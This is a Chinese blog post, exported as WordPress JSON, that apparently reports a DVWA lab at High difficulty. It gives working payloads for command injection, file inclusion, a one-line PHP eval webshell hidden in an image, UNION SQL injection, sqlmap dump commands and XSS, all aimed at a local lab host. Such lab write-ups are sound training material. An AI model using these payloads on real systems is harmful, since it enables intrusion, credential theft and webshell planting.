{"id":80362,"date":"2026-03-04T22:11:04","date_gmt":"2026-03-04T14:11:04","guid":{"rendered":"https:\/\/www.wsisp.com\/helps\/80362.html"},"modified":"2026-03-04T22:11:04","modified_gmt":"2026-03-04T14:11:04","slug":"dvwa-%e9%9d%b6%e5%9c%ba%e5%ae%9e%e9%aa%8c%e6%8a%a5%e5%91%8a-high-level","status":"publish","type":"post","link":"https:\/\/www.wsisp.com\/helps\/80362.html","title":{"rendered":"DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level)"},"content":{"rendered":"

DVWA \u9776\u573a\u5b9e\u9a8c\u62a5\u544a (High Level)<\/h2>\n

\u96be\u5ea6\u7b49\u7ea7：High \u62a5\u544a\u8bf4\u660e：\u672c\u6587\u4e3a DVWA \u9776\u573a High \u96be\u5ea6\u4e0b17\u4e2a\u6f0f\u6d1e\u7684\u8be6\u7ec6\u6e17\u900f\u6d4b\u8bd5\u6b65\u9aa4，\u5305\u542b\u6f0f\u6d1e\u539f\u7406\u3001\u5229\u7528\u65b9\u6cd5\u3001\u5de5\u5177\u64cd\u4f5c\u53ca\u6838\u5fc3Payload，\u5168\u7a0b\u57fa\u4e8eBurp Suite\u3001Sqlmap\u7b49\u5de5\u5177\u5b9e\u73b0，\u6240\u6709\u64cd\u4f5c\u6b65\u9aa4\u5747\u914d\u5957\u5b9e\u64cd\u622a\u56fe https:\/\/www.cnblogs.com\/wrold<\/p>\n

📑 \u76ee\u5f55<\/h3>\n
  • Brute Force \u2014 \u66b4\u529b\u7834\u89e3<\/li>\n
  • Command Injection \u2014 \u547d\u4ee4\u6ce8\u5165<\/li>\n
  • CSRF \u2014 \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020<\/li>\n
  • File Inclusion \u2014 \u6587\u4ef6\u5305\u542b<\/li>\n
  • File Upload \u2014 \u6587\u4ef6\u4e0a\u4f20<\/li>\n
  • Insecure CAPTCHA \u2014 \u4e0d\u5b89\u5168\u7684\u9a8c\u8bc1\u7801<\/li>\n
  • SQL Injection \u2014 SQL \u6ce8\u5165<\/li>\n
  • SQL Injection (Blind) \u2014 SQL \u76f2\u6ce8<\/li>\n
  • Weak Session IDs \u2014 \u5f31\u4f1a\u8bdd ID<\/li>\n
  • XSS (DOM) \u2014 DOM \u578b\u8de8\u7ad9\u811a\u672c<\/li>\n
  • XSS (Reflected) \u2014 \u53cd\u5c04\u578b\u8de8\u7ad9\u811a\u672c<\/li>\n
  • XSS (Stored) \u2014 \u5b58\u50a8\u578b\u8de8\u7ad9\u811a\u672c<\/li>\n
  • CSP Bypass \u2014 CSP \u7b56\u7565\u7ed5\u8fc7<\/li>\n
  • JavaScript Attacks \u2014 JavaScript \u653b\u51fb<\/li>\n
  • Authorisation Bypass \u2014 \u8d8a\u6743\u8bbf\u95ee<\/li>\n
  • Open HTTP Redirect \u2014 \u5f00\u653e\u91cd\u5b9a\u5411<\/li>\n
  • Cryptography \u2014 \u5bc6\u7801\u5b66<\/li>\n
    \n

    <\/h3>\n

    1. Brute Force \u2014 \u66b4\u529b\u7834\u89e3<\/h3>\n

    \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

    High \u96be\u5ea6\u65b0\u589e\u65f6\u95f4\u5ef6\u8fdf+user_token \u9a8c\u8bc1，token \u660e\u6587\u663e\u793a\u5728\u524d\u7aef\u9875\u9762，\u9700\u52a8\u6001\u63d0\u53d6 token \u914d\u5408\u7206\u7834\u3002<\/p>\n

    \u5229\u7528\u6b65\u9aa4<\/h4>\n
  • \u6293\u5305：\u901a\u8fc7Burp Suite\u6293\u53d6\u767b\u5f55\u8bf7\u6c42\u5305，\u53ef\u89c1username\u3001password\u3001user_token\u4e09\u4e2a\u6838\u5fc3\u53c2\u6570，token \u4e3a32\u4f4d\u968f\u673a\u5b57\u7b26\u4e32\u3002 \"\"<\/li>\n
  • \u5b9a\u4f4dtoken：\u67e5\u770b\u524d\u7aef\u9875\u9762\u6e90\u7801，token \u85cf\u5728<input type="hidden" name="user_token" value="xxx">\u4e2d，\u53ef\u901a\u8fc7\u6b63\u5219\u5339\u914d\u63d0\u53d6\u3002 \"\"<\/li>\n
  • Burp \u914d\u7f6e\n
      \n
    • \u8fdb\u5165Intruder，\u9009\u62e9Pitchfork \u4ea4\u53c9\u7206\u7834，\u6807\u8bb0password\u548cuser_token\u4e3a\u7206\u7834\u4f4d\u7f6e； \"\"<\/li>\n
    • \u8fdb\u5165Settings，\u5f00\u542f\u63d0\u53d6Grep\u9879，\u6b63\u5219\u8868\u8fbe\u5f0f\u914d\u7f6e\u4e3avalue=(.*?)\\\\\/>\\\\r\\\\n，\u5339\u914d\u524d\u7aef\u7684token\u503c； \"\"<\/li>\n
    • \u5bf9user_token\u7684Payload\u7c7b\u578b\u9009\u62e9\u9012\u5f52\u63d0\u53d6，\u5e76\u586b\u5165\u521d\u59cb\u8bf7\u6c42\u7684\u6709\u6548token（\u6293\u5305\u83b7\u53d6\u7684\u539f\u59cbtoken）\u3002 \"\" \"\"<\/li>\n<\/ul>\n<\/li>\n
    • \u7206\u7834\u8bbe\u7f6e：\u5c06\u8d44\u6e90\u6c60\u53d1\u5305\u6700\u5927\u6b21\u6570\u6539\u4e3a1（\u7981\u6b62\u5e76\u53d1，\u907f\u514dtoken\u5931\u6548），\u52a0\u8f7d\u5bc6\u7801\u5b57\u5178\u5f00\u59cb\u7206\u7834\u3002 \"\"<\/li>\n
    • \u7ed3\u679c\u5206\u6790：\u6309\u54cd\u5e94\u957f\u5ea6\u6392\u5e8f，\u957f\u5ea6\u4e0e\u5176\u4ed6\u6761\u76ee\u4e0d\u540c\u7684\u5373\u4e3a\u6b63\u786e\u5bc6\u7801（\u6b63\u786e\u767b\u5f55\u7684\u54cd\u5e94\u9875\u9762\u4e0e\u9519\u8bef\u9875\u9762\u957f\u5ea6\u5b58\u5728\u660e\u663e\u5dee\u5f02）\u3002 \"\"<\/li>\n

      \u6838\u5fc3\u6ce8\u610f\u70b9<\/h4>\n

      \u6293\u5305\u540e\u7981\u6b62\u63d0\u524d\u53d1\u5305，\u5426\u5219token\u4f1a\u5237\u65b0\u5bfc\u81f4\u7206\u7834\u5931\u8d25，\u9700\u4fdd\u8bc1\u521d\u59cbtoken\u4e0e\u7206\u7834\u8bf7\u6c42\u4e00\u81f4\u3002<\/p>\n

      \n

      2. Command Injection \u2014 \u547d\u4ee4\u6ce8\u5165<\/h3>\n

      \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

      High \u96be\u5ea6\u5bf9\u7ba1\u9053\u7b26\u7b49\u547d\u4ee4\u5206\u9694\u7b26\u505a\u4e86\u9ed1\u540d\u5355\u8fc7\u6ee4，\u4f46\u8fc7\u6ee4\u4ee3\u7801\u5b58\u5728\u7a7a\u683c\u4e66\u5199\u9519\u8bef，\u5bfc\u81f4\u8fc7\u6ee4\u5931\u6548，\u53ef\u6784\u9020\u65e0\u7a7a\u683c\u7684\u547d\u4ee4\u62fc\u63a5Payload\u3002<\/p>\n

      \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

      if<\/span>(<\/span>isset<\/span>(<\/span>$_POST<\/span>[<\/span>'Submit'<\/span>]<\/span>)<\/span>)<\/span>{<\/span>
      \n $target<\/span>=<\/span> trim<\/span>(<\/span>$_REQUEST<\/span>[<\/span>'ip'<\/span>]<\/span>)<\/span>;<\/span>
      \n $substitutions<\/span> =<\/span> array<\/span>(<\/span>
      \n \/\/ \u8fc7\u6ee4\u4ee3\u7801\u5b58\u5728\u591a\u4f59\u7a7a\u683c，\u5bfc\u81f4\u8fc7\u6ee4\u903b\u8f91\u5931\u6548<\/span>
      \n )<\/span>;<\/span>
      \n $target<\/span>=<\/span>str_replace<\/span>(<\/span> array_keys<\/span>(<\/span> $substitutions<\/span> )<\/span>,<\/span>$substitutions<\/span>,<\/span> $target<\/span> )<\/span>;<\/span>
      \n if<\/span>(<\/span>stristr<\/span>(<\/span>php_uname<\/span>(<\/span>'s'<\/span>)<\/span>,<\/span>"Windows NT"<\/span>)<\/span>)<\/span>{<\/span>
      \n $cmd<\/span>=<\/span>shell_exec<\/span>(<\/span>"ping "<\/span>.<\/span>$target<\/span>)<\/span>;<\/span>
      \n }<\/span>else<\/span>{<\/span>
      \n $cmd<\/span>=<\/span>shell_exec<\/span>(<\/span>"ping -c4 "<\/span>.<\/span>$target<\/span>)<\/span>;<\/span>
      \n }<\/span>
      \n $html<\/span>.=<\/span>"<pre>{<\/span>$cmd<\/span>}<\/span><\/span><\/pre>"<\/span>;<\/span>
      \n}<\/span><\/p>\n

      \"\" \"\"<\/p>\n

      \u5229\u7528\u65b9\u6cd5<\/h4>\n

      \u76f4\u63a5\u6784\u9020\u65e0\u7a7a\u683c\u7ba1\u9053\u7b26\u62fc\u63a5\u7684Payload，\u7ed5\u8fc7\u6ee4\u9ed1\u540d\u5355\u4f4d\u7f6e：<\/p>\n

      127.0.0.1|whoami<\/p>\n

      \u63d0\u4ea4\u540e\u6210\u529f\u6267\u884c\u7cfb\u7edf\u547d\u4ee4，\u8fd4\u56de\u5f53\u524d\u7528\u6237\u4fe1\u606f\u3002 \"\"<\/p>\n

      \n

      3. CSRF \u2014 \u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020<\/h3>\n

      \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

      High \u96be\u5ea6\u65b0\u589euser_token \u9a8c\u8bc1，token \u660e\u6587\u663e\u793a\u5728\u524d\u7aefHTML\u6e90\u7801\u4e2d，\u5355\u7eaf\u6784\u9020CSRF\u94fe\u63a5\u65e0\u6cd5\u7ed5\u8fc7，\u9700\u914d\u5408XSS\u6f0f\u6d1e\u63d0\u53d6token\u540e\u7ec4\u5408\u653b\u51fb\u3002<\/p>\n

      \u6f0f\u6d1e\u5206\u6790<\/h4>\n
    • \u6293\u5305\u4fee\u6539\u5bc6\u7801\u8bf7\u6c42，\u53ef\u89c1URL\u4e2d\u5305\u542bpassword_new\u3001password_conf\u3001user_token\u53c2\u6570，token\u4e3a\u5fc5\u586b\u9879\u3002 \"\"<\/li>\n
    • \u67e5\u770b\u524d\u7aef\u6e90\u7801，user_token\u85cf\u5728\u9690\u85cf\u8f93\u5165\u6846\u4e2d，\u653b\u51fb\u8005\u65e0\u6cd5\u76f4\u63a5\u83b7\u53d6\u53d7\u5bb3\u8005\u7684token，\u4f46\u53ef\u901a\u8fc7XSS\u6ce8\u5165\u811a\u672c\u81ea\u52a8\u63d0\u53d6\u53d7\u5bb3\u8005\u7684token\u5e76\u62fc\u63a5CSRF\u8bf7\u6c42\u3002 \"\"<\/li>\n

      \u653b\u51fb\u601d\u8def<\/h4>\n
    • \u5229\u7528\u9776\u573a\u4e2d\u5b58\u5728\u7684XSS\u6f0f\u6d1e（\u5982\u53cd\u5c04\u578b\u3001\u5b58\u50a8\u578b），\u6784\u9020XSS\u811a\u672c\u63d0\u53d6\u9875\u9762\u4e2d\u7684user_token；<\/li>\n
    • \u5c06\u63d0\u53d6\u7684token\u62fc\u63a5\u81f3CSRF\u4fee\u6539\u5bc6\u7801\u7684URL\u4e2d；<\/li>\n
    • \u8bf1\u5bfc\u53d7\u5bb3\u8005\u70b9\u51fb\u5305\u542bXSS+CSRF\u7684\u6076\u610f\u94fe\u63a5，\u5b9e\u73b0\u81ea\u52a8\u4fee\u6539\u5bc6\u7801\u3002<\/li>\n
      \n

      4. File Inclusion \u2014 \u6587\u4ef6\u5305\u542b<\/h3>\n

      \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

      High \u96be\u5ea6\u5bf9page\u53c2\u6570\u505a\u4e86\u5173\u952e\u8bcd\u767d\u540d\u5355\u8fc7\u6ee4（\u4ec5\u5141\u8bb8\u5305\u542bfile\/fie），\u4f46\u672a\u9650\u5236\u4f2a\u534f\u8bae，\u53ef\u901a\u8fc7file:\/\/\u4f2a\u534f\u8bae\u5b9e\u73b0\u4efb\u610f\u6587\u4ef6\u8bfb\u53d6\u3002<\/p>\n

      \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

      \"\"<\/p>\n

      $file<\/span>=<\/span>$_GET<\/span>[<\/span>'page'<\/span>]<\/span>;<\/span>
      \nif<\/span>(<\/span>!<\/span>fnmatch<\/span>(<\/span>"file,fie"<\/span>,<\/span>$file<\/span>)<\/span>&&<\/span>$file<\/span> !=<\/span>"include.php"<\/span>)<\/span>{<\/span>
      \n echo<\/span> "ERROR:File not found!"<\/span>;<\/span>
      \n exit<\/span>;<\/span>
      \n}<\/span><\/p>\n

      \u5229\u7528\u65b9\u6cd5<\/h4>\n

      \u6784\u9020file:\/\/\u4f2a\u534f\u8baePayload，\u6307\u5b9a\u672c\u5730\u6587\u4ef6\u7edd\u5bf9\u8def\u5f84，\u5b9e\u73b0\u4efb\u610f\u76ee\u5f55\u6587\u4ef6\u8bfb\u53d6：<\/p>\n

      http:\/\/dvwa:8564\/vulnerabilities\/fi\/?page=file:\/\/D:\/1.php<\/p>\n

      \"\"<\/p>\n

      \u62d3\u5c55\u5229\u7528<\/h4>\n

      \u82e5\u670d\u52a1\u5668\u5f00\u542fphp:\/\/\u4f2a\u534f\u8bae\u76f8\u5173\u914d\u7f6e，\u53ef\u7ed3\u5408php:\/\/filter\u5b9e\u73b0\u6e90\u7801\u8bfb\u53d6：<\/p>\n

      http:\/\/dvwa:8564\/vulnerabilities\/fi\/?page=php:\/\/filter\/convert.base64-encode\/resource=index.php<\/p>\n

      \n

      5. File Upload \u2014 \u6587\u4ef6\u4e0a\u4f20<\/h3>\n

      \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

      High \u96be\u5ea6\u505a\u4e86\u591a\u91cd\u8fc7\u6ee4：\u6587\u4ef6\u7c7b\u578b\u6821\u9a8c\u3001\u6587\u4ef6\u5927\u5c0f\u9650\u5236\u3001getimagesize()\u56fe\u7247\u5934\u6821\u9a8c，\u65e0\u6cd5\u76f4\u63a5\u4e0a\u4f20webshell，\u9700\u5236\u4f5c\u56fe\u7247\u9a6c\u914d\u5408\u6587\u4ef6\u5305\u542b\u6f0f\u6d1e\u5b9e\u73b0webshell\u6267\u884c\u3002<\/p>\n

      \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

      \"\"<\/p>\n

      \/\/ \u6821\u9a8c\u6587\u4ef6\u540e\u7f00\u3001\u5927\u5c0f\u3001\u662f\u5426\u4e3a\u56fe\u7247<\/span>
      \nif<\/span>(<\/span>(<\/span>strtolower<\/span>(<\/span>$uploaded_ext<\/span>)<\/span> in<\/span> $allowed_ext<\/span>)<\/span>&&<\/span>(<\/span>$uploaded_size<\/span><<\/span>100000<\/span>)<\/span>&&<\/span>getimagesize<\/span>(<\/span>$uploaded_tmp<\/span>)<\/span>)<\/span>{<\/span>
      \n \/\/ \u4e0a\u4f20\u6210\u529f\u903b\u8f91<\/span>
      \n}<\/span><\/p>\n

      \u5229\u7528\u6b65\u9aa4<\/h4>\n
    • \u5236\u4f5c\u56fe\u7247\u9a6c：\u4efb\u610f\u6b63\u5e38\u56fe\u7247（\u598211.png）\u540e\u62fc\u63a5PHP\u4e00\u53e5\u8bddwebshell，\u4fdd\u7559\u56fe\u7247\u6587\u4ef6\u5934（\u907f\u514dgetimagesize()\u6821\u9a8c\u5931\u8d25）\u3002\/\/ \u56fe\u7247\u9a6c\u5236\u4f5c（cmd\u547d\u4ee4）
      \ncopy 1.png \/b + shell.php \/a 11.png
      \n \u56fe\u7247\u9a6c\u5185\u5bb9\u793a\u4f8b：<?php phpinfo();?>（\u6d4b\u8bd5\u7528）\/<?php @eval($_POST['pass']);?>（\u4e00\u53e5\u8bddwebshell）\u3002 \"\"<\/li>\n
    • \u4e0a\u4f20\u56fe\u7247\u9a6c：\u76f4\u63a5\u4e0a\u4f20\u5236\u4f5c\u597d\u768411.png，\u9776\u573a\u63d0\u793a\u4e0a\u4f20\u6210\u529f，\u8fd4\u56de\u6587\u4ef6\u8def\u5f84..\/hackable\/uploads\/11.png\u3002 \"\"<\/li>\n
    • \u6587\u4ef6\u5305\u542b\u5229\u7528：\u901a\u8fc7File Inclusion\u6f0f\u6d1e\u7684file:\/\/\u4f2a\u534f\u8bae，\u5305\u542b\u4e0a\u4f20\u7684\u56fe\u7247\u9a6c，\u6267\u884cPHP\u4ee3\u7801：http:\/\/dvwa:8564\/vulnerabilities\/fi\/?page=file:\/\/\/D:\/phpstudy_pro\/WWW\/DVWA-master\/hackable\/uploads\/11.png
      \n \u8bbf\u95ee\u540e\u6210\u529f\u6267\u884cphpinfo()，\u8bc1\u660e\u56fe\u7247\u9a6c\u751f\u6548\u3002 \"\"<\/li>\n

      \u6838\u5fc3\u6ce8\u610f\u70b9<\/h4>\n

      \u56fe\u7247\u9a6c\u5fc5\u987b\u4fdd\u7559\u5408\u6cd5\u56fe\u7247\u5934，\u5426\u5219getimagesize()\u4f1a\u68c0\u6d4b\u51fa\u975e\u56fe\u7247\u6587\u4ef6，\u5bfc\u81f4\u4e0a\u4f20\u5931\u8d25\u3002<\/p>\n

      \n

      6. Insecure CAPTCHA \u2014 \u4e0d\u5b89\u5168\u7684\u9a8c\u8bc1\u7801<\/h3>\n
      \n

      7. SQL Injection \u2014 SQL \u6ce8\u5165<\/h3>\n

      \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

      High \u96be\u5ea6\u65b0\u589e\u4f1a\u8bdd\u5f39\u7a97\u9a8c\u8bc1，\u4f46\u6ce8\u5165\u6838\u5fc3\u903b\u8f91\u672a\u53d8，\u4ecd\u4e3a\u5b57\u7b26\u578b\u6ce8\u5165，\u53ef\u901a\u8fc7\u624b\u5de5\u6ce8\u5165\u6216Sqlmap\u5b9e\u73b0\u6570\u636e\u63d0\u53d6\u3002<\/p>\n

      \u5229\u7528\u6b65\u9aa4（\u624b\u5de5\u6ce8\u5165）<\/h4>\n
    • \u5224\u65ad\u6ce8\u5165\u7c7b\u578b：\n
        \n
      • \u8f93\u51651：\u6b63\u5e38\u8fd4\u56de\u6570\u636e； \"\"<\/li>\n
      • \u8f93\u51651'：\u9875\u9762\u62a5\u9519，\u8bf4\u660e\u4e3a\u5b57\u7b26\u578b\u6ce8\u5165，\u9700\u7528\u5355\u5f15\u53f7\u95ed\u5408，\u6ce8\u91ca\u7b26#\u622a\u65ad\u8bed\u53e5\u3002 \"\" \"\"<\/li>\n<\/ul>\n<\/li>\n
      • \u9a8c\u8bc1\u6ce8\u5165\u70b9：\u8f93\u51651' and 1=1 #，\u6b63\u5e38\u8fd4\u56de\u6570\u636e；\u8f93\u51651' and 1=2 #，\u65e0\u6570\u636e\u8fd4\u56de，\u6ce8\u5165\u70b9\u6709\u6548\u3002 \"\"<\/li>\n
      • \u5224\u65ad\u5217\u6570：\u8f93\u51651' order by 2 #，\u6b63\u5e38\u8fd4\u56de；\u8f93\u51651' order by 3 #，\u62a5\u9519，\u8bf4\u660e\u67e5\u8be2\u7ed3\u679c\u4e3a2\u5217\u3002<\/li>\n
      • \u8054\u5408\u6ce8\u5165\u63d0\u53d6\u6570\u636e：\n
          \n
        • \u63d0\u53d6\u6570\u636e\u5e93\u540d：-1' union select 1,database() #<\/li>\n
        • \u63d0\u53d6\u8868\u540d：-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #<\/li>\n
        • \u63d0\u53d6\u5b57\u6bb5\u540d：-1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #<\/li>\n
        • \u63d0\u53d6\u8d26\u53f7\u5bc6\u7801：-1' union select user,password from users # \"\"<\/li>\n<\/ul>\n<\/li>\n

          \u5229\u7528\u6b65\u9aa4（Sqlmap\u81ea\u52a8\u5316\u6ce8\u5165）<\/h4>\n

          \u7531\u4e8e\u6ce8\u5165\u7ed3\u679c\u5728\u7b2c\u4e8c\u4e2a\u9875\u9762\u5c55\u793a，\u9700\u4f7f\u7528–second-url\u53c2\u6570\u6307\u5b9a\u7ed3\u679c\u9875\u9762，\u547d\u4ee4\u5982\u4e0b：<\/p>\n

          # \u8bfb\u53d6\u6240\u6709\u6570\u636e\u5e93<\/span>
          \nsqlmap -r<\/span> D:\\\\<\/span>Backup\\\\<\/span>\u684c\u9762\\\\<\/span>1<\/span>.txt –dbs<\/span> –batch<\/span> –second-url=<\/span>http:\/\/dvwa:8564\/vulnerabilities\/sqli\/
          \n# \u8bfb\u53d6users\u8868\u6570\u636e<\/span>
          \nsqlmap -r<\/span> D:\\\\<\/span>Backup\\\\<\/span>\u684c\u9762\\\\<\/span>1<\/span>.txt -D<\/span> dvwa -T<\/span> users<\/span> -C<\/span> user,password –dump<\/span> –batch<\/span> –second-url=<\/span>http:\/\/dvwa:8564\/vulnerabilities\/sqli\/<\/p>\n

          \"\" \u6267\u884c\u540e\u6210\u529f\u63d0\u53d6\u6570\u636e\u5e93\u4e2d\u6240\u6709\u8d26\u53f7\u548c\u52a0\u5bc6\u540e\u7684\u5bc6\u7801\u3002<\/p>\n

          \n

          8. SQL Injection (Blind) \u2014 SQL \u76f2\u6ce8<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u5728\u65f6\u95f4\u76f2\u6ce8\u4e2d\u52a0\u5165\u968f\u673asleep\u5ef6\u8fdf（rand(0,5)==3\u65f6\u89e6\u53d12-4\u79d2\u5ef6\u8fdf），\u5bfc\u81f4\u65f6\u95f4\u76f2\u6ce8\u5931\u6548，\u4ec5\u80fd\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8\u5b9e\u73b0\u6570\u636e\u63d0\u53d6\u3002 \"\"<\/p>\n

          \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

          else<\/span> {<\/span>
          \n \/\/ \u968f\u673asleep，\u5e72\u6270\u65f6\u95f4\u76f2\u6ce8<\/span>
          \n if<\/span>(<\/span>rand<\/span>(<\/span>0<\/span>,<\/span>5<\/span>)<\/span>==<\/span>3<\/span>)<\/span>{<\/span>
          \n sleep<\/span>(<\/span>rand<\/span>(<\/span>2<\/span>,<\/span>4<\/span>)<\/span>)<\/span>;<\/span>
          \n }<\/span>
          \n}<\/span><\/p>\n

          \u5229\u7528\u6b65\u9aa4（Sqlmap\u81ea\u52a8\u5316\u5e03\u5c14\u76f2\u6ce8）<\/h4>\n
        • \u6293\u5305：\u6293\u53d6\u76f2\u6ce8\u8bf7\u6c42\u5305，\u53d1\u73b0\u6ce8\u5165\u70b9\u4f4d\u4e8eCookie\u7684id\u53c2\u6570\u4e2d（id=1）\u3002 \"\"<\/li>\n
        • \u6307\u5b9a\u5e03\u5c14\u76f2\u6ce8：\u4f7f\u7528–technique=B\u53c2\u6570\u5f3a\u5236Sqlmap\u4f7f\u7528\u5e03\u5c14\u76f2\u6ce8，\u7ed3\u5408–second-url\u6307\u5b9a\u7ed3\u679c\u9875\u9762，\u547d\u4ee4\u5982\u4e0b：<\/li>\n

          sqlmap -r<\/span> D:\\\\<\/span>Backup\\\\<\/span>\u684c\u9762\\\\<\/span>1<\/span>.txt –dbs<\/span> –batch<\/span> –second-url=<\/span>"http:\/\/dvwa:8564\/vulnerabilities\/sqli_blind\/"<\/span> –technique<\/span>=<\/span>B<\/p>\n

        • \u7ed3\u679c\u63d0\u53d6：Sqlmap\u901a\u8fc7\u5e03\u5c14\u76f2\u6ce8\u7684\u9875\u9762\u56de\u663e\u5dee\u5f02，\u6210\u529f\u7206\u7834\u51fa\u6240\u6709\u6570\u636e\u5e93\u540d（dvwa\u3001security\u3001pikachu\u7b49）\u3002 \"\"<\/li>\n

          \u6838\u5fc3\u6ce8\u610f\u70b9<\/h4>\n

          \u8bf7\u6c42\u5305\u4e2d\u6709\u591a\u4e2a\u53c2\u6570\u65f6，\u907f\u514d\u540c\u65f6\u6807\u8bb0\u591a\u4e2a\u6ce8\u5165\u70b9，\u9010\u4e2a\u6d4b\u8bd5\u5b9a\u4f4d\u771f\u5b9e\u6ce8\u5165\u70b9（\u672c\u6b21\u4e3aCookie\u7684id\u53c2\u6570）\u3002<\/p>\n

          \n

          9. Weak Session IDs \u2014 \u5f31\u4f1a\u8bdd ID<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u7684dvwaSession\u53c2\u6570\u4e3aMD5\u52a0\u5bc6\u7684\u7b80\u5355\u6570\u5b57，\u53ef\u901a\u8fc7MD5\u89e3\u5bc6\u6784\u9020\u6709\u6548\u4f1a\u8bddID，\u5bfc\u81f4\u4f1a\u8bdd\u52ab\u6301\u3002<\/p>\n

          \u5229\u7528\u6b65\u9aa4<\/h4>\n
        • \u67e5\u770bCookie：\u5728\u6d4f\u89c8\u5668\u5f00\u53d1\u8005\u5de5\u5177\u4e2d\u67e5\u770bCookie，\u53ef\u89c1dvwaSession=b6d767d2f8ed5d21a44b0e5886680cb9\u3002<\/li>\n
        • MD5\u89e3\u5bc6：\u5c06dvwaSession\u7684\u503c\u8fdb\u884cMD5\u89e3\u5bc6，\u7ed3\u679c\u4e3a22（\u7b80\u5355\u6570\u5b57）\u3002<\/li>\n
        • \u6784\u9020\u4f1a\u8bddID：\u901a\u8fc7MD5\u52a0\u5bc6\u8fde\u7eed\u6570\u5b57（21\u300122\u300123\u300124\u2026），\u751f\u6210\u5927\u91cf\u6709\u6548dvwaSession\u503c，\u5c1d\u8bd5\u4f1a\u8bdd\u52ab\u6301\u3002<\/li>\n

          \u6f0f\u6d1e\u5371\u5bb3<\/h4>\n

          \u653b\u51fb\u8005\u53ef\u901a\u8fc7\u6784\u9020\u5f31\u4f1a\u8bddID，\u5192\u5145\u5176\u4ed6\u7528\u6237\u767b\u5f55\u7cfb\u7edf，\u83b7\u53d6\u654f\u611f\u4fe1\u606f\u3002<\/p>\n

          \n

          10. XSS (DOM) \u2014 DOM \u578b\u8de8\u7ad9\u811a\u672c<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u5bf9default\u53c2\u6570\u505a\u4e86\u767d\u540d\u5355\u8fc7\u6ee4（\u4ec5\u5141\u8bb8French\u3001English\u3001German\u3001Spanish），\u975e\u767d\u540d\u5355\u503c\u4f1a\u88ab\u91cd\u5b9a\u5411，\u53ef\u901a\u8fc7**#\u53f7**\u7ed5\u8fc7\u670d\u52a1\u5668\u8fc7\u6ee4（\u670d\u52a1\u5668\u4e0d\u89e3\u6790#\u540e\u53c2\u6570，\u524d\u7aefDOM\u89e3\u6790）\u3002<\/p>\n

          \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

          \"\"<\/p>\n

          if<\/span>(<\/span>array_key_exists<\/span>(<\/span>"default"<\/span>,<\/span>$_GET<\/span>)<\/span>&&<\/span>!<\/span>is_nulL<\/span>(<\/span>$_GET<\/span>[<\/span>'default'<\/span>]<\/span>)<\/span>)<\/span>{<\/span>
          \n switch<\/span>(<\/span>$_GET<\/span>[<\/span>'default'<\/span>]<\/span>)<\/span>{<\/span>
          \n case<\/span> "French"<\/span>:<\/span>case<\/span> "English"<\/span>:<\/span>case<\/span> "German"<\/span>:<\/span>case<\/span>"Spanish"<\/span>:<\/span>
          \n break<\/span>;<\/span>
          \n default<\/span>:<\/span>
          \n header<\/span>(<\/span>"Location:?default=English"<\/span>)<\/span>;<\/span>
          \n exit<\/span>;<\/span>
          \n }<\/span>
          \n}<\/span><\/p>\n

          \u5229\u7528\u65b9\u6cd5<\/h4>\n

          \u6784\u9020Payload，\u767d\u540d\u5355\u503c+#\u53f7+XSS\u811a\u672c，\u670d\u52a1\u5668\u4ec5\u89e3\u6790#\u524d\u7684English，\u524d\u7aefDOM\u89e3\u6790#\u540e\u7684XSS\u811a\u672c：<\/p>\n

          http:\/\/dvwa:8564\/vulnerabilities\/xss_d\/?default=English#<script>alert(1)<\/script><\/p>\n

          \u8bbf\u95ee\u540e\u6210\u529f\u5f39\u51fa\u5f39\u7a97，XSS\u5229\u7528\u6210\u529f\u3002 \"\"<\/p>\n

          \n

          11. XSS (Reflected) \u2014 \u53cd\u5c04\u578b\u8de8\u7ad9\u811a\u672c<\/h3>\n

          \u6f0f\u6d1e\u7279\u70b9<\/h4>\n

          High \u96be\u5ea6\u5bf9<script>\u6807\u7b7e\u505a\u4e86\u4e25\u683c\u7684\u6b63\u5219\u8fc7\u6ee4（\u5339\u914d\u4efb\u610f\u53d8\u79cd\u7684script\u5173\u952e\u5b57，\u5982ScRiPt\u3001script\u7b49），\u65e0\u6cd5\u76f4\u63a5\u4f7f\u7528script\u6807\u7b7e，\u53ef\u901a\u8fc7\u4e8b\u4ef6\u578bXSS\u7ed5\u8fc7\u6ee4\u3002<\/p>\n

          \u6f0f\u6d1e\u4ee3\u7801\u5206\u6790<\/h4>\n

          \"\"<\/p>\n

          $name<\/span>=<\/span>preg_replace<\/span>(<\/span>'\/<(.*)s(.*)c(.*)(.)i(.*)p(.*)t\/i'<\/span>,<\/span>""<\/span>,<\/span>$_GET<\/span>[<\/span>'name'<\/span>]<\/span>)<\/span>;<\/span>
          \n$html<\/span>.=<\/span>"<pre>hello{<\/span>$name<\/span>}<\/span><\/span><\/pre>"<\/span>;<\/span><\/p>\n

          \u5229\u7528\u65b9\u6cd5<\/h4>\n

          \u4f7f\u7528<img>\u6807\u7b7e\u7684onerror\u4e8b\u4ef6\u6784\u9020\u65e0script\u7684XSS Payload，\u89e6\u53d1\u5f39\u7a97：<\/p>\n

          <img src=x onerror=alert(1)><\/p>\n

          \u63d0\u4ea4\u540e\u6210\u529f\u5f39\u51fa\u5f39\u7a97，XSS\u5229\u7528\u6210\u529f\u3002 \"\"<\/p>\n

          \u62d3\u5c55Payload<\/h4>\n

